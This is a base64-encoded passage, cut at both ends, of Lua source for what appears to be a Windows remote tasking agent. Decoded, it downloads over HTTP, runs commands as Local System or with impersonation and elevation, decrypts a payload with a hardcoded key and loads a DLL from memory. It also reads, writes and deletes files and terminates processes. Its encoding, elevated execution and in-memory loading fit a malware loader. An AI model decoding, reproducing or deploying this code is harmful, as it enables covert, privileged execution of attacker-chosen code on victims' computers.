dXJuIGU7CmVuZAplbmQKZnVuY3Rpb24gdC51cmxlbmNvZGUoZSkKaWYoZSl0aGVuCmU9c3RyaW5n
LmdzdWIoZSwiXG4iLCJcclxuIikKZT1zdHJpbmcuZ3N1YihlLCIoW14ldyAlLSVfJS4lfl0pIiwK
ZnVuY3Rpb24oZSlyZXR1cm4gc3RyaW5nLmZvcm1hdCgiJSUlMDJYIixzdHJpbmcuYnl0ZShlKSll
bmQpCmU9c3RyaW5nLmdzdWIoZSwiICIsIisiKQplbmQKcmV0dXJuIGUKZW5kCmZ1bmN0aW9uIGdl
dGh0dHBzaXplKGUpCmxvY2FsIGEsdCxlPXMucmVxdWVzdHttZXRob2Q9IkhFQUQiLHVybD1lfQpp
ZiB0PT0yMDAgdGhlbgpyZXR1cm4gdG9udW1iZXIoZVsiY29udGVudC1sZW5ndGgiXSk7CmVuZApl
bmQKZnVuY3Rpb24gdC5nZXRieWh0dHAobyx0KQpsb2NhbCBlPWZhbHNlOwpsb2NhbCBpPSIiOwpp
ZiB0IHRoZW4KbG9jYWwgYT10IGFuZCBpby5vcGVuKHQsIndiIilvciBvcy50bXBuYW1lKCk7Cmxv
Y2FsIGE9ci5zaW5rLmZpbGUoYSBvciBpby5zdGRvdXQpOwppZiB0IHRoZW4KYT1yLnNpbmsuY2hh
aW4ocHJvZ3Jlc3NfZmlsdGVyKGdldGh0dHBzaXplKG8pKSxhKTsKZT10cnVlOwplbmQKbG9jYWwg
dD0KewpbIkV4cGlyZXMiXT0iVGh1LCAxOSBOb3YgMTk4MSAwODo1MjowMCBHTVQiLApbIkNhY2hl
LUNvbnRyb2wiXT0ibm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hl
Y2s9MCwgcHJlLWNoZWNrPTAiCn07CmxvY2FsIGEsdCxhLGE9cy5yZXF1ZXN0CnsKdXJsPW8sCmhl
YWRlcnM9dCwKc2luaz1hCn07CmlmIHR+PTIwMCB0aGVuCmU9ZmFsc2U7CmVuZAplbHNlCmU9dHJ1
ZTsKaT1zLnJlcXVlc3Qobyk7CmVuZApyZXR1cm4gZSxpOwplbmQKZnVuY3Rpb24gdC5zcGxpdChh
LGUsdCkKaWYgc3RyaW5nLmZpbmQoYSxlKT09bmlsIHRoZW4KcmV0dXJue2F9CmVuZAppZiB0PT1u
aWwgb3IgdDwxIHRoZW4KdD0wCmVuZApsb2NhbCBvPXt9CmxvY2FsIG49IiguLSkiLi5lLi4iKCki
CmxvY2FsIGU9MApsb2NhbCBpCmZvciBuLGEgaW4gc3RyaW5nLmdmaW5kKGEsbilkbwplPWUrMQpv
W2VdPW4KaT1hCmlmIGU9PXQgdGhlbiBicmVhayBlbmQKZW5kCmlmIGV+PXQgdGhlbgpvW2UrMV09
c3RyaW5nLnN1YihhLGkpCmVuZApyZXR1cm4gbwplbmQKZnVuY3Rpb24gdC5leGVjdXRlKGEsbyxl
KQppZiBvfj1uaWwgdGhlbgppZiBlPT1uaWwgdGhlbgplPWZhbHNlOwplbmQKaWYgQ3JlYXRlUHJv
Y2Vzc0FzVXNlcihhLGUpdGhlbgplbmQKZWxzZQp0LmRlYnVnKCJFeGVjdXRpbmcgYXMgTG9jYWwg
U3lzdGVtIik7CmlmIENyZWF0ZVByb2Nlc3MobmlsLGEsbmlsLG5pbCwwLHczMlsiQ1JFQVRFX05F
V19DT05TT0xFIl0sbmlsLG5pbCl0aGVuCmVsc2UKZW5kCmVuZAppZiBHZXRMYXN0RXJyb3IoKT4w
IHRoZW4KdC5kZWJ1ZygiRXhlY3V0ZSBVbnN1Y2Nlc3NmdWwiKTsKdC5kZWJ1ZygiTEFTVCBFUlJP
UjogIi4uR2V0TGFzdEVycm9yKCkpOwplbHNlCnQuZGVidWcoIkV4ZWN1dGUgc3VjY2Vzc2Z1bCIp
OwplbmQKcmV0dXJuIHRydWU7CmVuZApmdW5jdGlvbiB0LmZpbGVwYXJ0cyhlKQpyZXR1cm4gc3Ry
aW5nLm1hdGNoKGUsIiguLSkoW15cXF0tKFteJS5dKykpJCIpOwplbmQKZnVuY3Rpb24gdC5yZWFk
ZmlsZShvKQpsb2NhbCBhOwppZiBDcmVhdGVGaWxlfj1uaWwgdGhlbgpsb2NhbCBlPUNyZWF0ZUZp
bGUobyx3MzJbIkdFTkVSSUNfUkVBRCJdLHczMlsiRklMRV9TSEFSRV9SRUFEIl0sbmlsLHczMlsi
T1BFTl9FWElTVElORyJdLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09
LTEgb3IgZT09dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5m
b3JtYXQoIlJlYWRmaWxlOiAlcyBFcnJvcjogJXMgKCVzKSIsbyxHZXRMYXN0RXJyb3IoKSxlKSk7
CmVsc2UKbG9jYWwgdD1HZXRGaWxlU2l6ZUV4KGUpOwppZiB0PjAgdGhlbgpoLGE9UmVhZEZpbGUo
ZSx0KTsKZW5kCmVuZAppZiBlIHRoZW4gQ2xvc2VIYW5kbGUoZSk7ZW5kCmVsc2UKbG9jYWwgZT1p
by5vcGVuKG8sInJiIik7CmlmIGUgdGhlbgphPWU6cmVhZCgiKmEiKQplOmNsb3NlKCkKZW5kCmVu
ZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQud3JpdGVmaWxlKG8saSxlKQpsb2NhbCBhPTA7Cmlm
IENyZWF0ZUZpbGUgdGhlbgpsb2NhbCBlPWUgb3IgdzMyWyJDUkVBVEVfTkVXIl07CmxvY2FsIGU9
Q3JlYXRlRmlsZShvLHczMlsiR0VORVJJQ19XUklURSJdLHczMlsiRklMRV9TSEFSRV9XUklURSJd
LG5pbCxlLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09LTEgb3IgZT09
dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldy
aXRlZmlsZTogJXMgRXJyb3I6ICVzICglcykiLG8sR2V0TGFzdEVycm9yKCksZSkpOwplbHNlCmgs
YT1Xcml0ZUZpbGUoZSxpKTsKZW5kCmlmIGUgdGhlbiBDbG9zZUhhbmRsZShlKTtlbmQKZWxzZQps
b2NhbCBlPWlvLm9wZW4obywid2IiKQppZiBlIHRoZW4KZTp3cml0ZShpKQplOmNsb3NlKCkKYT0j
aTsKZW5kCmVuZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQucmFuZG9tKGUpCm1hdGgucmFuZG9t
c2VlZChvcy50aW1lKCkpOwpsb2NhbCB0PShlKWFuZCBlIG9yIDEKbG9jYWwgZT0iIjsKZm9yIHQ9
MSx0IGRvCmU9ZS4uc3RyaW5nLmNoYXIobWF0aC5yYW5kb20oOTcsMTIyKSk7CmVuZApyZXR1cm4g
ZTsKZW5kCmZ1bmN0aW9uIHQuZGVidWcoZSkKaWYgT3V0cHV0RGVidWdTdHJpbmcgdGhlbgpsb2Nh
bCB0PShDaGVja0FyZylhbmQgQ2hlY2tBcmcoIm9wdGlvbnMiKW9yIiI7CmlmIHQ6c3ViKDEsMSk9
PSIxInRoZW4KT3V0cHV0RGVidWdTdHJpbmcoc3RyaW5nLmZvcm1hdCgibHVhIGRiZzogJXNcbiIs
dG9zdHJpbmcoZSkpKTsKZW5kCmVsc2UKcHJpbnQoZSk7CmVuZAplbmQKZnVuY3Rpb24gdC50ZW1w
cGF0aCgpCmlmIEdldFRlbXBQYXRofj1uaWwgdGhlbgprLHY9R2V0VGVtcFBhdGgoKTsKcmV0dXJu
IHY7CmVuZApyZXR1cm4iIjsKZW5kCmZ1bmN0aW9uIHQucXVlcnlzZXJ2aWNlKGksYSkKbG9jYWwg
bz1PcGVuU0NNYW5hZ2VyKCk7CmxvY2FsIGU7CmlmIGE9PW5pbCB0aGVuIGE9NDtlbmQKaWYgbz4w
IHRoZW4KbG9jYWwgbz1PcGVuU2VydmljZShvLGkpOwppZiBvPjAgdGhlbgpsb2NhbCBkLGgscyxp
LG4scj1RdWVyeVNlcnZpY2VDb25maWcobyk7CmlmIG5vdCBkIHRoZW4KZT17aCxzLGksbixyfTsK
dC5kZWJ1ZygiUXVlcnlTZXJ2aWNlOiAiLi5lW2FdKTsKZW5kCkNsb3NlU2VydmljZUhhbmRsZShv
KTsKZW5kCmVuZAppZiB0eXBlKGUpPT0idGFibGUidGhlbgppZiBlW2FddGhlbgpyZXR1cm4gZVth
XTsKZW5kCmVuZApyZXR1cm4gbmlsOwplbmQKZnVuY3Rpb24gdC5jdXN0b21zKGEpCmxvY2FsIHM9
dHJ1ZTsKUFJPR1JBTV9GSUxFUz0oUmVnUXVlcnlWYWx1ZUV4KWFuZCBSZWdRdWVyeVZhbHVlRXgo
dzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSwiU29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xc
Q3VycmVudFZlcnNpb24iLCJQcm9ncmFtRmlsZXNEaXIiKW9yIiI7CnNUbXBQYXRoPXQudGVtcHBh
dGgoKTsKbG9jYWwgZT1zdHJpbmcuZ3N1YihhLCJcXCIsIlxcXFwiKTsKbG9jYWwgbz0wOwp3aGls
ZSBzPT10cnVlIGFuZCBvPDUwIGRvCm89bysxOwppZiBzdHJpbmcuZmluZChhLCIkUFJPR1JBTUZJ
TEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9HUkFNRklMRVMiLCIlJXMiKTsKZT1zdHJp
bmcuZm9ybWF0KGUsUFJPR1JBTV9GSUxFUzpnc3ViKCJcXCIsIlxcXFwiKSk7CmVsc2VpZiBzdHJp
bmcuZmluZChhLCIkVEVNUEZJTEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRURU1QRklMRVMi
LCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsc1RtcFBhdGg6Z3N1YigiXFwiLCJcXFxcIikpOwpl
PWU6Z3N1YigiXFxcXFxcIiwiXFwiKTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRTSUQiKXRoZW4K
bG9jYWwgdD1HZXRDdXJyZW50VXNlclNpZCgpOwplPXN0cmluZy5nc3ViKGUsIiUkU0lEIiwiJSVz
Iik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFRJTUVMQVNU
Iil0aGVuCmlmIEdldFRpbWVMYXN0fj1uaWwgdGhlbgpsb2NhbCB0PUdldFRpbWVMYXN0KCk7CmU9
c3RyaW5nLmdzdWIoZSwiJSRUSU1FTEFTVCIsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSx0KTsK
ZW5kCmVsc2VpZiBzdHJpbmcuZmluZChhLCIkQ01EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNo
KGEsIkNNRCglZCspIik7CmlmIGF+PW5pbCB0aGVuCmxvY2FsIG49IiI7CmlmIHN0cmluZy5maW5k
KGEsIjoiKXRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIjoiKTsKaWYgYVsxXX49bmlsIHRoZW4KbG9j
YWwgZT10LnNwbGl0KGlbYVsxXV0sIiAiKTsKbG9jYWwgbyxpPXN0cmluZy5maW5kKGFbMl0sIisi
KTsKaWYgbyB0aGVuCmFbMl09c3RyaW5nLmdzdWIoYVsyXSwiKyIsIiIpOwppZiB0eXBlKGUpPT0i
dGFibGUidGhlbgpmb3Igbz10YWJsZS5nZXRuKGUpLDEsLTEgZG8KaWYgbzx0b251bWJlcihhWzJd
KXRoZW4KdGFibGUucmVtb3ZlKGUsbyk7CmVsc2UKaWYgc3RyaW5nLmZpbmQoZVtvXSwiPSIpdGhl
bgpsb2NhbCB0PXQuc3BsaXQoZVtvXSwiPSIpOwplW29dPXN0cmluZy5mb3JtYXQoJyVzPSIlcyIn
LHRbMV0sdFsyXSk7CmVuZAplbmQKZW5kCm49dGFibGUuY29uY2F0KGUsIiAiKTsKZW5kCmVsc2UK
bj1lW3RvbnVtYmVyKGFbMl0pXTsKZW5kCmVuZAplbHNlCm49KGlbdG9udW1iZXIoYSldKWFuZCBp
W3RvbnVtYmVyKGEpXW9yIGlbYV07CmVuZAphPXN0cmluZy5nc3ViKGEsIisiLCIlJSsiKTsKZT1z
dHJpbmcuZ3N1YihlLCIlJENNRCIuLmEsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSxuKTsKZW5k
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkU09VUkNFR1VJRCIpdGhlbgpsb2NhbCB0PUNoZWNrQXJn
KCJzb3VyY2UiKTsKZT1zdHJpbmcuZ3N1YihlLCIlJFNPVVJDRUdVSUQiLHQpOwplbHNlaWYgc3Ry
aW5nLmZpbmQoYSwiJFVTRVJHVUlEIil0aGVuCmxvY2FsIHQ9R2V0VXNlckd1aWQoKTsKc1VzZXJH
dWlkPXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDksMTIp
LHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKc1VzZXJHdWlkPXN0cmluZy51
cHBlcihzVXNlckd1aWQpOwplPXN0cmluZy5nc3ViKGUsIiUkVVNFUkdVSUQiLHNVc2VyR3VpZCk7
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkVkVSU0lPTiIpdGhlbgppZiBHZXRWZXJzaW9ufj1uaWwg
dGhlbgpsb2NhbCB0PXRvc3RyaW5nKEdldFZlcnNpb24oKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRW
RVJTSU9OIiwiJSVzIik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbmQKZWxzZWlmIHN0cmluZy5m
aW5kKGEsIiRPUFRJT05TIil0aGVuCmxvY2FsIG89KENoZWNrQXJnKWFuZCBDaGVja0FyZygib3B0
aW9ucyIpb3IiIjsKbG9jYWwgYT1zdHJpbmcubWF0Y2goYSwiT1BUSU9OUyglZCspIik7CmlmIGF+
PW5pbCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRWxlbWVudDogJXMiLGEpKTsKZT1zdHJp
bmcuZ3N1YihlLCIlJE9QVElPTlMiLi5hLCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsbzpzdWIo
YSxhKSk7CmVsc2UKZT1zdHJpbmcuZ3N1YihlLCIlJE9QVElPTlMiLCIlJXMiKTsKZT1zdHJpbmcu
Zm9ybWF0KGUsbyk7CmVuZAplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFBST0RVQ1QiKXRoZW4KbG9j
YWwgdD0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJvcHRpb25zIilvciIiOwpsb2NhbCB0PXN0cmlu
Zy5mb3JtYXQoIiVzIix0OnN1Yig4LDEwKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9EVUNUIix0
KTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRJczY0Qml0Iil0aGVuCmxvY2FsIGE9KElzNjRCaXQo
KT09dHJ1ZSlhbmQiNjQib3IiMzIiOwp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIklzNjRCaXQ6ICVz
IixhKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRJczY0Qml0IixhKTsKdC5kZWJ1ZyhlKTsKZWxzZWlm
IHN0cmluZy5maW5kKGEsIiRSQU5EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNoKGEsIlJBTkQo
LispIik7Cm1hdGgucmFuZG9tc2VlZChvcy50aW1lKCkpOwplPXRvc3RyaW5nKG1hdGgucmFuZG9t
KDEsMTAwKSk7CmlmIGF+PW5pbCB0aGVuCmlmIHN0cmluZy5maW5kKGEsIiwiKXRoZW4KbG9jYWwg
dD10LnNwbGl0KGEsIiwiKTsKaWYgdFsxXX49bmlsIHRoZW4KaWYgdG9udW1iZXIodFsxXSk+dG9u
dW1iZXIodFsyXSl0aGVuCnRbMV09MQplbmQKZT10b3N0cmluZyhtYXRoLnJhbmRvbSh0b251bWJl
cih0WzFdKSx0b251bWJlcih0WzJdKSkpOwplbmQKZW5kCmVuZAp0LmRlYnVnKHN0cmluZy5mb3Jt
YXQoIlJhbmRvbTogJXMiLGUpKTsKZWxzZQpzPWZhbHNlOwplbmQKYT1lOwplbmQKZT0odHJpbSlh
bmQgdHJpbShlKW9yIHQudHJpbShlKTsKcmV0dXJuIGU7CmVuZApmdW5jdGlvbiB0LmNvbW1hbmQo
ZSkKbG9jYWwgbz1mYWxzZTsKaWYgZVsidHh0Y21kIl09PSJJZiJ0aGVuCmxvY2FsIGE9dC5jdXN0
b21zKGVbInR4dFdoYXQiXSk7CmlmIGVbInR4dGRvIl09PSJGaWxlInRoZW4KZHdSZXN1bHQsdEZp
bGVJbmZvPUZpbmRGaXJzdEZpbGUoYSk7CmlmIGR3UmVzdWx0fj0wIHRoZW4KZVsicmVzdWx0Il09
KGVbInR4dFdoYXRJZiJdPT0iRXhpc3RzIilhbmQiMSJvciIwIjsKZWxzZQplWyJyZXN1bHQiXT0o
ZVsidHh0V2hhdElmIl09PSJOb3QgRXhpc3RzIilhbmQiMSJvciIwIjsKZW5kCmlmIGR3UmVzdWx0
PjAgdGhlbgpGaW5kQ2xvc2UoZHdSZXN1bHQpOwplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdp
c3RyeSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnk6ICVzIixhKSk7CmxvY2Fs
IG89dC5zcGxpdChhLCIsIik7CmlmIHczMltvWzFdXX49bmlsIHRoZW4KaWYgb1szXX49bmlsIHRo
ZW4KbG9jYWwgYT1SZWdRdWVyeVZhbHVlRXgodzMyW29bMV1dLG9bMl0sb1szXSk7CmE9KGF+PW5p
bClhbmQgdC5jdXN0b21zKGEpb3IgbmlsOwppZiBlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyJhbmQg
b1s1XX49bmlsIGFuZCBhfj1uaWwgdGhlbgppZiBhPT1vWzVddGhlbgplWyJyZXN1bHQiXT0iMSI7
CmVuZAplbHNlaWYgZVsidHh0V2hhdElmIl09PSJFeGlzdHMiYW5kIGF+PW5pbCB0aGVuCmVbInJl
c3VsdCJdPSIxIjsKZWxzZWlmIGVbInR4dFdoYXRJZiJdPT0iTm90IEV4aXN0cyJhbmQgYT09bmls
IHRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZW5kCmVsc2UKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0
KCJSZWdpc3RyeSBFcnJvciAlcyAlcyIsZVsidHh0V2hhdElmIl0sYSkpOwplbmQKZWxzZWlmIGVb
InR4dGRvIl09PSJDb21tYW5kInRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIiwiKTsKaWYgYVsyXX49
bmlsIHRoZW4KbG9jYWwgbz0oaVt0b251bWJlcihhWzFdKV0pYW5kIGlbdG9udW1iZXIoYVsxXSld
b3IgaVthWzFdXTsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJDb21tYW5kICMlczogJXMgJXMgJXMi
LGFbMV0sbyxlWyJ0eHRXaGF0SWYiXSxhWzJdKSk7CmlmIGVbInR4dFdoYXRJZiJdPT0iQ29udGFp
bnMidGhlbgppZiBzdHJpbmcuZmluZChzdHJpbmcudXBwZXIobyksc3RyaW5nLnVwcGVyKGFbMl0p
KXRoZW4KZVsicmVzdWx0Il09IjEiOwplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2UKaWYg
bz09YVsyXXRoZW4KZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iRXF1YWxzIilhbmQiMSJv
ciIwIjsKZWxzZQplWyJyZXN1bHQiXT0oZVsidHh0V2hhdElmIl09PSJOb3QgRXF1YWxzIilhbmQi
MSJvciIwIjsKZW5kCmVuZAplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2VpZiBlWyJ0eHRk
byJdPT0iVmFyaWFibGUidGhlbgpsb2NhbCBhPXQuc3BsaXQoYSwiLCIpOwplWyJyZXN1bHQiXT0i
MCI7CmlmIGFbMl1+PW5pbCB0aGVuCnNTRz0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJzb3VyY2Ui
KW9yIiI7CmlmIGFbMV09PSJVc2VyIEdVSUQidGhlbgpzU0c9R2V0VXNlckd1aWQoKTsKc1NHPXN0
cmluZy51cHBlcihzdHJpbmcuZm9ybWF0KCIlcy0lcy0lcy0lcy0lcyIsc1NHOnN1YigxLDgpLHNT
RzpzdWIoOSwxMiksc1NHOnN1YigxMywxNiksc1NHOnN1YigxNywyMCksc1NHOnN1YigyMSkpKTsK
ZWxzZWlmIGFbMV09PSJWZXJzaW9uInRoZW4KaWYgR2V0VmVyc2lvbn49bmlsIHRoZW4Kc1NHPXRv
c3RyaW5nKEdldFZlcnNpb24oKSk7CmVuZAplbHNlaWYgYVsxXT09IklzNjRCaXQidGhlbgppZiBJ
czY0Qml0fj1uaWwgdGhlbgpzU0c9dG9zdHJpbmcoSXM2NEJpdCgpKTsKZW5kCmVsc2VpZiBzdHJp
bmcuZmluZChhWzFdLCJPcHRpb25zIil0aGVuCnNTRz10LmN1c3RvbXMoIiQiLi5zdHJpbmcudXBw
ZXIoYVsxXSkpOwplbmQKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJWYXJpYWJsZSAlcyAoJXMpID0g
JXMiLGFbMV0sc1NHLGFbMl0pKTsKaWYgZVsidHh0V2hhdElmIl09PSJDb250YWlucyJ0aGVuCmlm
IHN0cmluZy5maW5kKHNTRyxhWzJdKXRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZWxzZQppZiBz
U0c9PWFbMl10aGVuCmVbInJlc3VsdCJdPShlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyIpYW5kIjEi
b3IiMCI7CmVsc2UKZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iTm90IEVxdWFscyIpYW5k
IjEib3IiMCI7CmVuZAplbmQKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUHJvY2VzcyJ0aGVuCmlm
IElzUHJvY2Vzc1J1bm5pbmcoYSxmYWxzZSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJy
ZXN1bHQiXT0iMCI7CmVuZAplbHNlaWYgZVsidHh0ZG8iXT09Ikluc3RhbGxlZCJ0aGVuCmxvY2Fs
IHQ9e307CnRbMV09IlNPRlRXQVJFXFxXb3c2NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxD
dXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsKdFsyXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2lu
ZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5zdGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZVsic3Rh
dHVzIl09IjAiOwpmb3Igbyx0IGluIHBhaXJzKHQpZG8KbG9jYWwgbz1SZWdFbnVtS2V5RXgodzMy
WyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSx0KTsKaWYgdHlwZShvKT09InRhYmxlInRoZW4KZm9yIGks
byBpbiBwYWlycyhvKWRvCmxvY2FsIGk9UmVnRW51bVZhbHVlKHczMlsiSEtFWV9MT0NBTF9NQUNI
SU5FIl0sdC4uIlxcIi4ubyk7CmlmIHR5cGUoaSk9PSJ0YWJsZSJ0aGVuCmZvciBuLGkgaW4gcGFp
cnMoaSlkbwppZiBpPT0iRGlzcGxheU5hbWUidGhlbgpsb2NhbCB0PVJlZ1F1ZXJ5VmFsdWVFeCh3
MzJbIkhLRVlfTE9DQUxfTUFDSElORSJdLHQuLiJcXCIuLm8saSk7CnQ9c3RyaW5nLmxvd2VyKHQ6
Z3N1YigiICIsIiIpKTsKYT1zdHJpbmcubG93ZXIoYTpnc3ViKCIgIiwiIikpOwppZiBzdHJpbmcu
ZmluZCh0LGEpdGhlbgplWyJyZXN1bHQiXT0iMSI7CmVbInN0YXR1cyJdPSIxIjsKYnJlYWs7CmVu
ZAplbmQKZW5kCmVuZAplbmQKZW5kCmVuZAplbmQKbz10cnVlOwppZiBlWyJyZXN1bHQiXT09IjEi
dGhlbgppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iU3RvcCJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNm
aWVkLCBTdG9wcGluZyIpOwplWyJzdGF0dXMiXT0iMCI7Cm89ZmFsc2U7CmVsc2VpZiBlWyJ0eHRX
aGF0VGhlbiJdPT0iR290byJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNmaWVkLCBHb2luZyB0byAi
KTsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJDb250aW51ZSJ0aGVuCnQuZGVidWcoIlRoZW4g
U2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbHNlCmlmIGVbInR4dFdoYXRFbHNlIl09PSJT
dG9wInRoZW4KdC5kZWJ1ZygiRWxzZSBTYXRpc2ZpZWQsIFN0b3BwaW5nIik7CmVbInN0YXR1cyJd
PSIwIjsKbz1mYWxzZTsKZWxzZWlmIGVbInR4dFdoYXRFbHNlIl09PSJHb3RvInRoZW4KZVsic3Rh
dHVzIl09IjEiOwp0LmRlYnVnKCJFbHNlIFNhdGlzZmllZCwgR29pbmcgdG8gIik7CmVsc2VpZiBl
WyJ0eHRXaGF0RWxzZSJdPT0iQ29udGludWUidGhlbgplWyJzdGF0dXMiXT0iMSI7CnQuZGVidWco
IkVsc2UgU2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbmQKZW5kCmlmIGVbInR4dGNtZCJd
PT0iRG8idGhlbgpsb2NhbCBhPXQuY3VzdG9tcyhlWyJ0eHRXaGF0Il0pOwppZiBlWyJ0eHRkbyJd
PT0iRXhlY3V0ZSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRXhlY3V0aW5nOiAlcyB3aXRo
ICVzIixhLGVbInR4dFdoYXRUaGVuIl0pKTsKaWYgZVsidHh0V2hhdFRoZW4iXT09IkxvY2FsIFN5
c3RlbSJ0aGVuCnQuZXhlY3V0ZShhKTsKZWxzZQppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iSW1wZXJz
b25hdGlvbiBhbmQgRWxldmF0aW9uInRoZW4KdC5leGVjdXRlKGEsdHJ1ZSx0cnVlKTsKZWxzZQp0
LmV4ZWN1dGUoYSx0cnVlLGZhbHNlKTsKZW5kCmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsK
ZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZVsicmVzdWx0Il09IjEiOwplbHNlaWYgZVsidHh0ZG8iXT09
IkRMTCJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRExMIFNpemU6ICVzIHZpYSAlcyIsc3Ry
aW5nLmxlbihhKSxlWyJ0eHRXaGF0VGhlbiJdKSk7CmlmIGVbInR4dFdoYXRUaGVuIl09PSJNZW1v
cnkidGhlbgphPUVuY3J5cHQoYSwiYzIyZGY3MTQ2YjU0NGI1ZGFjYWNmYWJmMzdiZmQyNjRiZmIw
Zjg5NTNlMTQ0NDZhYmIwYjE5OGRmNDU0YzllYyIpOwpMb2FkRnJvbU1lbW9yeShhKTsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT0i
MSI7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRmlsZSJ0aGVuCmlmIGVbInR4dFdoYXRUaGVuIl09PSJE
ZWxldGUidGhlbgppZiBEZWxldGVGaWxlKGEpdGhlbgplWyJyZXN1bHQiXT0iZmlsZSBkZWxldGVk
IjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwpl
bmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJSZWFkInRoZW4KY29udGVudHM9dC5yZWFkZmls
ZShhKTsKaWYgY29udGVudHMgdGhlbgppZiBlWyJ0eHRXaGF0RWxzZSJdPT0iYXMgUHJvY2Vzc2xp
c3QidGhlbgpsaW5lcz10LnNwbGl0KGNvbnRlbnRzLCJcclxuIik7CmRhdGE9e30KZm9yIG8sYSBp
biBpcGFpcnMobGluZXMpZG8KY3N2PXQuc3BsaXQoYSwiLCIpOwppZiBjc3ZbM110aGVuCmRhdGE9
c3RyaW5nLmZvcm1hdCgneyJuYW1lIjolcywidHlwZSI6JXN9Jyxjc3ZbMV0sY3N2WzNdKTsKZVsi
cmVzdWx0Il09KGVbInJlc3VsdCJdKWFuZCBlWyJyZXN1bHQiXS4uIiwiLi5kYXRhIG9yIGRhdGE7
CmVuZAplbmQKZW5kCmVuZAppZiBub3QgZVsicmVzdWx0Il10aGVuCmVbInJlc3VsdCJdPSJlcnJv
ciByZWFkaW5nIGZpbGUiCmVsc2UKZVsicmVzdWx0Il09IlsiLi5lWyJyZXN1bHQiXS4uIl0iOwpl
bmQKZW5kCm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNl
aWYgZVsidHh0ZG8iXT09IlRlcm1pbmF0ZSJ0aGVuCmlmIElzUHJvY2Vzc1J1bm5pbmcoYSx0cnVl
KXRoZW4KdC5kZWJ1ZygiVGVybWluYXRpbmc6ICIuLmEpOwplWyJyZXN1bHQiXT0iMSI7CmVsc2UK
